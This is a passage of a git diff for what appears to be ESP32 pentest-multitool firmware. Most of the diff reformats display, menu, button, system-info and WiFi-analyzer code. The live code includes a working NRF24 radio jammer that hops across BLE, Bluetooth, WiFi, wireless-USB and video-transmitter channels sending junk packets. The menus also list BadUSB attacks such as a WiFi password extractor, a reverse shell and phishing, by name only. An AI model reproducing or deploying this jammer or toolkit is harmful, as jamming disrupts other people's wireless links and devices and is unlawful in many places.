// -// for (int i = 0; i < sizeof(channels); i++) { -// radio1.setChannel(channels[i]); -// radio1.write(&payload, sizeof(payload)); -// //radio2.setChannel(channels[i]); -// //radio2.write(&payload, sizeof(payload)); -// } +// for (int i = 0; i < sizeof(channels); i++) { +// radio1.setChannel(channels[i]); +// radio1.write(&payload, sizeof(payload)); +// //radio2.setChannel(channels[i]); +// //radio2.write(&payload, sizeof(payload)); +// } // -// if (btnBack()) -// { -// Serial.println("Jammer stopped"); -// return; -// } -// } +// if (btnBack()) +// { +// Serial.println("Jammer stopped"); +// return; +// } +// } // -//} +// } // -//void startBluetoothJammer() +// void startBluetoothJammer() //{ -// initNRF(radio1); -// initNRF(radio2); +// initNRF(radio1); +// initNRF(radio2); // -// Serial.println("NRF JAMMER STARTED"); +// Serial.println("NRF JAMMER STARTED"); // -// const char payload[] = "xxxxxxxxxxxxxxxx"; +// const char payload[] = "xxxxxxxxxxxxxxxx"; // -// u8g2.clearBuffer(); -// u8g2.drawStr(0, 10, "Jamming:"); -// u8g2.setCursor(60, 10); -// u8g2.print("Bluetooth"); -// u8g2.sendBuffer(); +// u8g2.clearBuffer(); +// u8g2.drawStr(0, 10, "Jamming:"); +// u8g2.setCursor(60, 10); +// u8g2.print("Bluetooth"); +// u8g2.sendBuffer(); // -// while(true) { +// while(true) { // -// // Channels (you can change this set) -// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; +// // Channels (you can change this set) +// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, +// 24, 26, 28, 30, 74, 76, 78, 80}; // // -// for (int i = 0; i < sizeof(channels); i++) { -// radio1.setChannel(channels[i]); -// radio1.write(&payload, sizeof(payload)); -// //radio2.setChannel(channels[i]); -// //radio2.write(&payload, sizeof(payload)); -// } +// for (int i = 0; i < sizeof(channels); i++) { +// radio1.setChannel(channels[i]); +// radio1.write(&payload, sizeof(payload)); +// //radio2.setChannel(channels[i]); +// //radio2.write(&payload, sizeof(payload)); +// } // -// if (btnBack()) -// { -// Serial.println("Jammer stopped"); -// return; -// } -// } -//} +// if (btnBack()) +// { +// Serial.println("Jammer stopped"); +// return; +// } +// } +// } -void startJammer(const char* name, const byte* channels, size_t channelCount) -{ - initNRF(radio1); - initNRF(radio2); +void startJammer(const char *name, const byte *channels, size_t channelCount) { + initNRF(radio1); + initNRF(radio2); - Serial.println("NRF JAMMER STARTED"); + Serial.println("NRF JAMMER STARTED"); - const char payload[] = "xxxxxxxxxxxxxxxx"; + const char payload[] = "xxxxxxxxxxxxxxxx"; - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(0, 15, "NRF24 Jammer"); - u8g2.drawStr(0, 35, name); - u8g2.drawStr(0, 55, "BACK = Exit"); - u8g2.sendBuffer(); + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 15, "NRF24 Jammer"); + u8g2.drawStr(0, 35, name); + u8g2.drawStr(0, 55, "BACK = Exit"); + u8g2.sendBuffer(); - while (true) - { - for (size_t i = 0; i < channelCount; i++) - { - //radio1.setChannel(channels[i]); - //radio1.write(&payload, sizeof(payload)); + while (true) { + for (size_t i = 0; i < channelCount; i++) { + // radio1.setChannel(channels[i]); + // radio1.write(&payload, sizeof(payload)); - // Optional second NRF - // radio2.setChannel(channels[i]); - // radio2.write(&payload, sizeof(payload)); + // Optional second NRF + // radio2.setChannel(channels[i]); + // radio2.write(&payload, sizeof(payload)); + radio1.setChannel(channels[i]); + radio2.setChannel(channels[(i + 1) % channelCount]); - radio1.setChannel(channels[i]); - radio2.setChannel(channels[(i + 1) % channelCount]); + radio1.writeFast(&payload, sizeof(payload)); + radio2.writeFast(&payload, sizeof(payload)); + } - radio1.writeFast(&payload, sizeof(payload)); - radio2.writeFast(&payload, sizeof(payload)); - } + if (btnBack()) { + Serial.println("Jammer stopped"); + radio1.powerDown(); + radio2.powerDown(); + return; + } + } - if (btnBack()) - { - Serial.println("Jammer stopped"); - radio1.powerDown(); - radio2.powerDown(); - return; - } - } + // while (true) { + // for (size_t i = 0; i < channelCount; i++) + //{ + // radio1.setChannel(channels[i]); + // radio2.setChannel(channels[(i + 1) % channelCount]); - //while (true) { - //for (size_t i = 0; i < channelCount; i++) - //{ - // radio1.setChannel(channels[i]); - // radio2.setChannel(channels[(i + 1) % channelCount]); + // radio1.writeFast(&payload, sizeof(payload)); + // radio2.writeFast(&payload, sizeof(payload)); - // radio1.writeFast(&payload, sizeof(payload)); - // radio2.writeFast(&payload, sizeof(payload)); + // radio1.txStandBy(1); + // radio2.txStandBy(1); - // radio1.txStandBy(1); - // radio2.txStandBy(1); + // delayMicroseconds(200); + //} - // delayMicroseconds(200); - //} + // if (btnBack()) + //{ + // Serial.println("Jammer stopped"); + // radio1.powerDown(); + // radio2.powerDown(); - //if (btnBack()) - //{ - // Serial.println("Jammer stopped"); - - // radio1.powerDown(); - // radio2.powerDown(); - - // return; - //} -//} + // return; + //} + //} } void NRFToolsMenu(int index) { - switch (index) { - case 0: - // startBleJammer(); - // BLE - startJammer( - "BLE", - bleChannels, - sizeof(bleChannels) / sizeof(bleChannels[0]) - ); + switch (index) { + case 0: + // startBleJammer(); + // BLE + startJammer("BLE", bleChannels, + sizeof(bleChannels) / sizeof(bleChannels[0])); - break; - case 1: - // startBluetoothJammer(); - // Bluetooth - startJammer( - "Bluetooth", - bluetoothChannels, - sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]) - ); - break; + break; + case 1: + // startBluetoothJammer(); + // Bluetooth + startJammer("Bluetooth", bluetoothChannels, + sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])); + break; - case 2: - startJammer( - "WiFi", - wifiChannels, - sizeof(wifiChannels) / sizeof(wifiChannels[0]) - ); - break; - case 3: - startJammer( - "USB Wireless", - usbWireless_channels, - sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]) - ); - break; - case 4: - startJammer( - "Video TX", - videoTransmitter_channels, - sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0]) - ); - break; - case 5: - break; - startJammer( - "RC", - rc_channels, - sizeof(rc_channels) / sizeof(rc_channels[0]) - ); - break; - case 6: + case 2: + startJammer("WiFi", wifiChannels, + sizeof(wifiChannels) / sizeof(wifiChannels[0])); + break; + case 3: + startJammer("USB Wireless", usbWireless_channels, + sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])); + break; + case 4: + startJammer("Video TX", videoTransmitter_channels, + sizeof(videoTransmitter_channels) / + sizeof(videoTransmitter_channels[0])); + break; + case 5: + break; + startJammer("RC", rc_channels, + sizeof(rc_channels) / sizeof(rc_channels[0])); + break; + case 6: - break; + break; + } } - } diff --git a/src/ui/display.cpp b/src/ui/display.cpp index 12c9ac9..3b7b263 100644 --- a/src/ui/display.cpp +++ b/src/ui/display.cpp @@ -1,16 +1,11 @@ #include "display.h" -#include #include "config.h" +#include +U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE); -U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2( - U8G2_R0, - U8X8_PIN_NONE -); - -void displayInit() -{ - Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); - u8g2.begin(); - u8g2.setFont(u8g2_font_6x12_tr); +void displayInit() { + Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); + u8g2.begin(); + u8g2.setFont(u8g2_font_6x12_tr); } diff --git a/src/ui/menu.cpp b/src/ui/menu.cpp index 43c3de4..9898f64 100644 --- a/src/ui/menu.cpp +++ b/src/ui/menu.cpp @@ -1,71 +1,55 @@ -#include #include "menu.h" -#include "display.h" -#include "utils/buttons.h" -#include "hid/badusb.h" -#include "rf/nrf24.h" -#include "rf/cc1101.h" -#include "wifi/wifi_scan.h" -#include "wifi/wifi_analyzer.h" -#include "utils/device_check.h" +#include "BleMouse.h" #include "bluetooth/ble_mouse.h" #include "bluetooth/blescanner.h" -#include "utils/sysinfo.h" -#include "BleMouse.h" +#include "display.h" +#include "hid/badusb.h" #include "nfc/nfc.h" +#include "rf/cc1101.h" +#include "rf/nrf24.h" +#include "utils/buttons.h" +#include "utils/device_check.h" +#include "utils/sysinfo.h" +#include "wifi/wifi_analyzer.h" +#include "wifi/wifi_scan.h" +#include // ================= MENU DATA ================= extern BleMouse bleMouse; // Root menu -const char *mainMenuItems[] = { - "BadUSB", - "RF Capture", - "NRF Tools", - "BLE Scan", - "Wifi Scan", - "Wifi Analyzer", - "System Info", - "Device Check", - "Restart", - "Ble Mouse", - "NFC Tools" -}; - -Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])}; +const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools", + "BLE Scan", "Wifi Scan", "Wifi Analyzer", + "System Info", "Device Check", "Restart", + "Ble Mouse", "NFC Tools"}; +Menu mainMenu = {mainMenuItems, + sizeof(mainMenuItems) / sizeof(mainMenuItems[0])}; // NRF Tools menu const char *nrfToolsItems[] = { - "BLE Jammer", - "Bluetooth Jammer", - "Wifi Jammer", - "USB Wireless", - "Video TX", - "Zigbee", - "RC" + "BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless", + "Video TX", "Zigbee", "RC" }; -Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; +Menu nrfToolsMenu = {nrfToolsItems, + sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; - -const char *badusbItems[] = { - "ORION Demo", - "RickRoll", - "Matrix Rain", - "Fake Terminal", - "Wifi Password Extractor", - "Fake Update", - "Fake BSOD", - "Glitch Screen", - "ASCII Spam", - "Hacker Typer", - "PWN Reverse shell", - "Phishing attack", - "Desktop Ghost", - "System Stresser" -}; +const char *badusbItems[] = {"ORION Demo", + "RickRoll", + "Matrix Rain", + "Fake Terminal", + "Wifi Password Extractor", + "Fake Update", + "Fake BSOD", + "Glitch Screen", + "ASCII Spam", + "Hacker Typer", + "PWN Reverse shell", + "Phishing attack", + "Desktop Ghost", + "System Stresser"}; Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; @@ -82,282 +66,251 @@ bool insideFeature = false; // ================= DRAW ================= -void drawMenu() -{ - u8g2.clearBuffer(); +void drawMenu() { + u8g2.clearBuffer(); - // scroll handling - if (menuIndex < menuOffset) - menuOffset = menuIndex; + // scroll handling + if (menuIndex < menuOffset) + menuOffset = menuIndex; - if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) - menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; + if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) + menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; - for (int i = 0; i < MENU_VISIBLE_ROWS; i++) - { - int item = menuOffset + i; + for (int i = 0; i < MENU_VISIBLE_ROWS; i++) { + int item = menuOffset + i; - if (item >= currentMenu->size) - break; + if (item >= currentMenu->size) + break; - if (item == menuIndex) - u8g2.drawStr(0, 14 + i * 14, ">"); + if (item == menuIndex) + u8g2.drawStr(0, 14 + i * 14, ">"); - u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); - } + u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); + } - // scroll indicators - if (menuOffset > 0) - u8g2.drawStr(118, 10, "^"); + // scroll indicators + if (menuOffset > 0) + u8g2.drawStr(118, 10, "^"); - if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) - u8g2.drawStr(118, 62, "v"); + if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) + u8g2.drawStr(118, 62, "v"); - u8g2.sendBuffer(); + u8g2.sendBuffer(); } // ================= FEATURE EXECUTION ================= -void launchFeature() -{ - insideFeature = true; +void launchFeature() { + insideFeature = true; - if (currentMenu == &mainMenu) - { - switch (menuIndex) - { - case 0: // BadUSB → enter submenu - currentMenu = &badusbMenu; - menuIndex = 0; - menuOffset = 0; - break; + if (currentMenu == &mainMenu) { + switch (menuIndex) { + case 0: // BadUSB → enter submenu + currentMenu = &badusbMenu; + menuIndex = 0; + menuOffset = 0; + break; - case 1: - handleMenu(); - break; - case 2: - // startNRFJammer(); - //startBleJammer(); - //startBluetoothJammer(); - currentMenu = &nrfToolsMenu; - menuIndex = 0; - menuOffset = 0; - break; + case 1: + handleMenu(); + break; + case 2: + // startNRFJammer(); + // startBleJammer(); + // startBluetoothJammer(); + currentMenu = &nrfToolsMenu; + menuIndex = 0; + menuOffset = 0; + break; - break; - case 3: - ble_scan(); - ble_drawMenu(); - while (1) { - ble_loop(); - if (btnBack()) - break; - } - break; + break; + case 3: + ble_scan(); + ble_drawMenu(); + while (1) { + ble_loop(); + if (btnBack()) + break; + } + break; - case 4: - { - // Start scan once - wifi_scan_start(); - wifi_scan_draw(); + case 4: { + // Start scan once + wifi_scan_start(); + wifi_scan_draw(); - while (1) { - wifi_scan_loop(); - // EXIT condition handled ONLY here - if (btnBack()) { - delay(150); // debounce - break; - } - } - break; - } - case 5: - { - - wifi_analyzer_start(); - - bool prevBack = false; - while (1) - { - wifi_analyzer_loop(); - bool nowBack = btnBack(); - if (nowBack && !prevBack) - { - delay(150); - break; - } - prevBack = nowBack; - } - break; - } - - case 6: - runSystemInfoFeature(); - break; - case 7: - device_check_run(); - break; - case 8: - { - // wait for button release - delay(200); - - while (btnSelect()) - delay(10); - bool confirm = false; - - while (1) - { - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x13_tr); - - u8g2.drawStr(18, 18, "Restart Device?"); - - if (confirm) - { - u8g2.drawBox(10, 35, 45, 15); - u8g2.setDrawColor(0); - u8g2.drawStr(20, 47, "YES"); - u8g2.setDrawColor(1); - - u8g2.drawStr(75, 47, "NO"); - } - else - { - u8g2.drawStr(20, 47, "YES"); - - u8g2.drawBox(65, 35, 45, 15); - u8g2.setDrawColor(0); - u8g2.drawStr(78, 47, "NO"); - u8g2.setDrawColor(1); - } - - u8g2.sendBuffer(); - - if (btnLeft() || btnUp()) - { - confirm = true; - delay(150); - } - - if (btnRight() || btnDown()) - { - confirm = false; - delay(150); - } - - if (btnSelect()) - { - delay(150); - - if (confirm) - { - u8g2.clearBuffer(); - u8g2.drawStr(28, 30, "Restarting..."); - u8g2.sendBuffer(); - - delay(1000); - ESP.restart(); - } - else - { - break; - } - } - - if (btnBack()) - { - delay(150); - break; - } - } - } - break; - - case 9: - // Begin Ble mouse - bleMouse.begin(); - ble_mouse_run(); - break; - case 10: - pn532_scan_loop(); - break; + while (1) { + wifi_scan_loop(); + // EXIT condition handled ONLY here + if (btnBack()) { + delay(150); // debounce + break; } + } + break; } - else if (currentMenu == &badusbMenu) - { - badUSBMenu(menuIndex); - } else if (currentMenu == &nrfToolsMenu) { - NRFToolsMenu(menuIndex); + case 5: { + + wifi_analyzer_start(); + + bool prevBack = false; + while (1) { + wifi_analyzer_loop(); + bool nowBack = btnBack(); + if (nowBack && !prevBack) { + delay(150); + break; + } + prevBack = nowBack; + } + break; } - insideFeature = false; + case 6: + runSystemInfoFeature(); + break; + case 7: + device_check_run(); + break; + case 8: { + // wait for button release + delay(200); - drawMenu(); + while (btnSelect()) + delay(10); + bool confirm = false; + + while (1) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x13_tr); + + u8g2.drawStr(18, 18, "Restart Device?"); + + if (confirm) { + u8g2.drawBox(10, 35, 45, 15); + u8g2.setDrawColor(0); + u8g2.drawStr(20, 47, "YES"); + u8g2.setDrawColor(1); + + u8g2.drawStr(75, 47, "NO"); + } else { + u8g2.drawStr(20, 47, "YES"); + + u8g2.drawBox(65, 35, 45, 15); + u8g2.setDrawColor(0); + u8g2.drawStr(78, 47, "NO"); + u8g2.setDrawColor(1); + } + + u8g2.sendBuffer(); + + if (btnLeft() || btnUp()) { + confirm = true; + delay(150); + } + + if (btnRight() || btnDown()) { + confirm = false; + delay(150); + } + + if (btnSelect()) { + delay(150); + + if (confirm) { + u8g2.clearBuffer(); + u8g2.drawStr(28, 30, "Restarting..."); + u8g2.sendBuffer(); + + delay(1000); + ESP.restart(); + } else { + break; + } + } + + if (btnBack()) { + delay(150); + break; + } + } + } break; + + case 9: + // Begin Ble mouse + bleMouse.begin(); + ble_mouse_run(); + break; + case 10: + pn532_scan_loop(); + break; + } + } else if (currentMenu == &badusbMenu) { + badUSBMenu(menuIndex); + } else if (currentMenu == &nrfToolsMenu) { + NRFToolsMenu(menuIndex); + } + + insideFeature = false; + + drawMenu(); } // ================= INIT ================= -void menuInit() -{ - currentMenu = &mainMenu; - menuIndex = 0; - menuOffset = 0; +void menuInit() { + currentMenu = &mainMenu; + menuIndex = 0; + menuOffset = 0; - drawMenu(); + drawMenu(); } // ================= LOOP ================= -void menuLoop() -{ - static uint32_t lastPress = 0; +void menuLoop() { + static uint32_t lastPress = 0; - if (insideFeature) - return; + if (insideFeature) + return; - if (millis() - lastPress < 150) - return; + if (millis() - lastPress < 150) + return; - if (btnUp()) - { - menuIndex--; + if (btnUp()) { + menuIndex--; - if (menuIndex < 0) - menuIndex = currentMenu->size - 1; + if (menuIndex < 0) + menuIndex = currentMenu->size - 1; - drawMenu(); - lastPress = millis(); + drawMenu(); + lastPress = millis(); + } + + else if (btnDown()) { + menuIndex++; + + if (menuIndex >= currentMenu->size) + menuIndex = 0; + + drawMenu(); + lastPress = millis(); + } + + else if (btnSelect()) { + launchFeature(); + lastPress = millis(); + } + + else if (btnBack()) { + if (currentMenu != &mainMenu) { + currentMenu = &mainMenu; + menuIndex = 0; + menuOffset = 0; + + drawMenu(); } - else if (btnDown()) - { - menuIndex++; - - if (menuIndex >= currentMenu->size) - menuIndex = 0; - - drawMenu(); - lastPress = millis(); - } - - else if (btnSelect()) - { - launchFeature(); - lastPress = millis(); - } - - else if (btnBack()) - { - if (currentMenu != &mainMenu) - { - currentMenu = &mainMenu; - menuIndex = 0; - menuOffset = 0; - - drawMenu(); - } - - lastPress = millis(); - } + lastPress = millis(); + } } diff --git a/src/utils/buttons.cpp b/src/utils/buttons.cpp index d3d1020..1e93150 100644 --- a/src/utils/buttons.cpp +++ b/src/utils/buttons.cpp @@ -1,15 +1,14 @@ #include "buttons.h" -#include #include "../config.h" +#include -void buttonsInit() -{ - pinMode(BTN_UP, INPUT_PULLUP); - pinMode(BTN_DOWN, INPUT_PULLUP); - pinMode(BTN_SELECT, INPUT_PULLUP); - pinMode(BTN_BACK, INPUT_PULLUP); - pinMode(BTN_RIGHT, INPUT_PULLUP); - pinMode(BTN_LEFT, INPUT_PULLUP); +void buttonsInit() { + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_SELECT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_LEFT, INPUT_PULLUP); } bool btnUp() { return !digitalRead(BTN_UP); } diff --git a/src/utils/sysinfo.cpp b/src/utils/sysinfo.cpp index aad170d..a852aad 100644 --- a/src/utils/sysinfo.cpp +++ b/src/utils/sysinfo.cpp @@ -1,87 +1,84 @@ -#include #include "../ui/display.h" #include "buttons.h" +#include #include #include -void runSystemInfoFeature() -{ - esp_chip_info_t chip_info; +void runSystemInfoFeature() { + esp_chip_info_t chip_info; + esp_chip_info(&chip_info); + + while (true) { + // u8g2.clearBuffer(); + + // char buf[32]; + + // sprintf(buf, "Cores: %d", chip_info.cores); + // u8g2.drawStr(0, 14, buf); + + // sprintf(buf, "Heap: %d", + // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); + // u8g2.drawStr(0, 28, buf); + + // u8g2.drawStr(0, 60, "BACK to exit"); + + // Get RAM info + size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); + size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); + int ramUsage = 100 - ((freeHeap * 100) / totalHeap); + + // Get Flash info + // uint32_t flashSize = spi_flash_get_chip_size(); + uint32_t flashSize = ESP.getFlashChipSize(); + uint32_t flashUsed = ESP.getSketchSize(); + int flashUsage = (flashUsed * 100) / flashSize; + + // Temperature (approx) + uint8_t temperature = temperatureRead(); + + // Chip info + esp_chip_info_t chip_info; esp_chip_info(&chip_info); - while (true) - { - //u8g2.clearBuffer(); + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x12_tr); - //char buf[32]; + char buf[32]; - //sprintf(buf, "Cores: %d", chip_info.cores); - //u8g2.drawStr(0, 14, buf); + // Box 1 - RAM + u8g2.drawFrame(0, 0, 128, 12); + sprintf(buf, "RAM: %d%% used", ramUsage); + u8g2.drawStr(4, 9, buf); - //sprintf(buf, "Heap: %d", - // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); - //u8g2.drawStr(0, 28, buf); + // Box 2 - Flash + u8g2.drawFrame(0, 12, 128, 12); + sprintf(buf, "Flash: %d%% used", flashUsage); + u8g2.drawStr(4, 21, buf); + // Box 3 - Temp (FULL WIDTH now) + u8g2.drawFrame(0, 24, 128, 12); + sprintf(buf, "Temp: %d C", temperature); + u8g2.drawStr(4, 33, buf); - //u8g2.drawStr(0, 60, "BACK to exit"); + // Box 4 - Chip info (FULL WIDTH) + u8g2.drawFrame(0, 36, 128, 12); + sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); + u8g2.drawStr(4, 45, buf); - // Get RAM info - size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); - size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); - int ramUsage = 100 - ((freeHeap * 100) / totalHeap); + // Box 5 - PSRAM (KB) + u8g2.drawFrame(0, 48, 128, 12); + sprintf(buf, "PSRAM: %lu KB", + heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); + u8g2.drawStr(4, 57, buf); - // Get Flash info - //uint32_t flashSize = spi_flash_get_chip_size(); - uint32_t flashSize = ESP.getFlashChipSize(); - uint32_t flashUsed = ESP.getSketchSize(); - int flashUsage = (flashUsed * 100) / flashSize; + u8g2.sendBuffer(); - // Temperature (approx) - uint8_t temperature = temperatureRead(); - - // Chip info - esp_chip_info_t chip_info; - esp_chip_info(&chip_info); - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x12_tr); - - char buf[32]; - - // Box 1 - RAM - u8g2.drawFrame(0, 0, 128, 12); - sprintf(buf, "RAM: %d%% used", ramUsage); - u8g2.drawStr(4, 9, buf); - - // Box 2 - Flash - u8g2.drawFrame(0, 12, 128, 12); - sprintf(buf, "Flash: %d%% used", flashUsage); - u8g2.drawStr(4, 21, buf); - - // Box 3 - Temp (FULL WIDTH now) - u8g2.drawFrame(0, 24, 128, 12); - sprintf(buf, "Temp: %d C", temperature); - u8g2.drawStr(4, 33, buf); - - // Box 4 - Chip info (FULL WIDTH) - u8g2.drawFrame(0, 36, 128, 12); - sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); - u8g2.drawStr(4, 45, buf); - - // Box 5 - PSRAM (KB) - u8g2.drawFrame(0, 48, 128, 12); - sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); - u8g2.drawStr(4, 57, buf); - - u8g2.sendBuffer(); - - if (btnBack()) - { - delay(200); - return; - } - - delay(100); + if (btnBack()) { + delay(200); + return; } + + delay(100); + } } diff --git a/src/wifi/wifi_analyzer.cpp b/src/wifi/wifi_analyzer.cpp index 928e621..f1c6eb9 100644 --- a/src/wifi/wifi_analyzer.cpp +++ b/src/wifi/wifi_analyzer.cpp @@ -6,142 +6,131 @@ #include "../utils/buttons.h" // ===== CONFIG ===== -#define GRAPH_WIDTH 128 -#define GRAPH_HEIGHT 44 -#define GRAPH_TOP 10 -#define MAX_POINTS 128 +#define GRAPH_WIDTH 128 +#define GRAPH_HEIGHT 44 +#define GRAPH_TOP 10 +#define MAX_POINTS 128 #define SPIKE_THRESHOLD 30 // ===== STATE ===== struct SnifferGraph { - uint8_t graphData[MAX_POINTS]; - uint8_t currentChannel = 1; - volatile uint16_t packetCounter = 0; - unsigned long lastChannelSwitch = 0; - unsigned long lastUpdate = 0; + uint8_t graphData[MAX_POINTS]; + uint8_t currentChannel = 1; + volatile uint16_t packetCounter = 0; + unsigned long lastChannelSwitch = 0; + unsigned long lastUpdate = 0; }; static SnifferGraph sniffer; // ===== CALLBACK ===== -void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) -{ - if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) - { - sniffer.packetCounter++; - } +void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) { + if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) { + sniffer.packetCounter++; + } } // ===== INIT ===== -void wifi_analyzer_start() -{ - // display init (safe to call again) - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); - u8g2.drawStr(0, 10, "Starting analyzer..."); - u8g2.sendBuffer(); +void wifi_analyzer_start() { + // display init (safe to call again) + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 10, "Starting analyzer..."); + u8g2.sendBuffer(); - // reset graph - memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); - sniffer.packetCounter = 0; - sniffer.currentChannel = 1; + // reset graph + memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); + sniffer.packetCounter = 0; + sniffer.currentChannel = 1; - // reset WiFi - WiFi.disconnect(true, true); - esp_wifi_stop(); - delay(200); - esp_wifi_deinit(); + // reset WiFi + WiFi.disconnect(true, true); + esp_wifi_stop(); + delay(200); + esp_wifi_deinit(); - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - esp_wifi_init(&cfg); - esp_wifi_set_storage(WIFI_STORAGE_RAM); - esp_wifi_set_mode(WIFI_MODE_NULL); - esp_wifi_start(); + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_wifi_init(&cfg); + esp_wifi_set_storage(WIFI_STORAGE_RAM); + esp_wifi_set_mode(WIFI_MODE_NULL); + esp_wifi_start(); - esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); - esp_wifi_set_promiscuous_rx_cb(snifferCallback); - esp_wifi_set_promiscuous(true); + esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); + esp_wifi_set_promiscuous_rx_cb(snifferCallback); + esp_wifi_set_promiscuous(true); } // ===== HELPERS ===== -static void switchChannel() -{ - sniffer.currentChannel++; - if (sniffer.currentChannel > 13) sniffer.currentChannel = 1; +static void switchChannel() { + sniffer.currentChannel++; + if (sniffer.currentChannel > 13) + sniffer.currentChannel = 1; - esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); + esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); } -static void updateGraph(uint8_t value) -{ - for (int i = 0; i < MAX_POINTS - 1; i++) - { - sniffer.graphData[i] = sniffer.graphData[i + 1]; - } +static void updateGraph(uint8_t value) { + for (int i = 0; i < MAX_POINTS - 1; i++) { + sniffer.graphData[i] = sniffer.graphData[i + 1]; + } - sniffer.graphData[MAX_POINTS - 1] = value; + sniffer.graphData[MAX_POINTS - 1] = value; } -static void drawGraph(uint16_t pktCount) -{ - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); +static void drawGraph(uint16_t pktCount) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); - char line1[16]; - char line2[16]; + char line1[16]; + char line2[16]; - sprintf(line1, "Ch:%d", sniffer.currentChannel); - sprintf(line2, "Pkts:%d", pktCount * 5); + sprintf(line1, "Ch:%d", sniffer.currentChannel); + sprintf(line2, "Pkts:%d", pktCount * 5); - u8g2.drawStr(0, 8, line1); - u8g2.drawStr(60, 8, line2); + u8g2.drawStr(0, 8, line1); + u8g2.drawStr(60, 8, line2); - for (int x = 1; x < GRAPH_WIDTH; x++) - { - int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; - int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; + for (int x = 1; x < GRAPH_WIDTH; x++) { + int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; + int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; - u8g2.drawLine(x - 1, y1, x, y2); - } + u8g2.drawLine(x - 1, y1, x, y2); + } - if (pktCount >= SPIKE_THRESHOLD) - { - u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); - } + if (pktCount >= SPIKE_THRESHOLD) { + u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); + } - u8g2.sendBuffer(); + u8g2.sendBuffer(); } // ===== LOOP ===== -void wifi_analyzer_loop() -{ - static uint32_t lastPress = 0; - unsigned long now = millis(); +void wifi_analyzer_loop() { + static uint32_t lastPress = 0; + unsigned long now = millis(); - // channel hopping - if (now - sniffer.lastChannelSwitch >= 1000) - { - sniffer.lastChannelSwitch = now; - switchChannel(); - } + // channel hopping + if (now - sniffer.lastChannelSwitch >= 1000) { + sniffer.lastChannelSwitch = now; + switchChannel(); + } - // graph update - if (now - sniffer.lastUpdate >= 200) - { - sniffer.lastUpdate = now; + // graph update + if (now - sniffer.lastUpdate >= 200) { + sniffer.lastUpdate = now; - 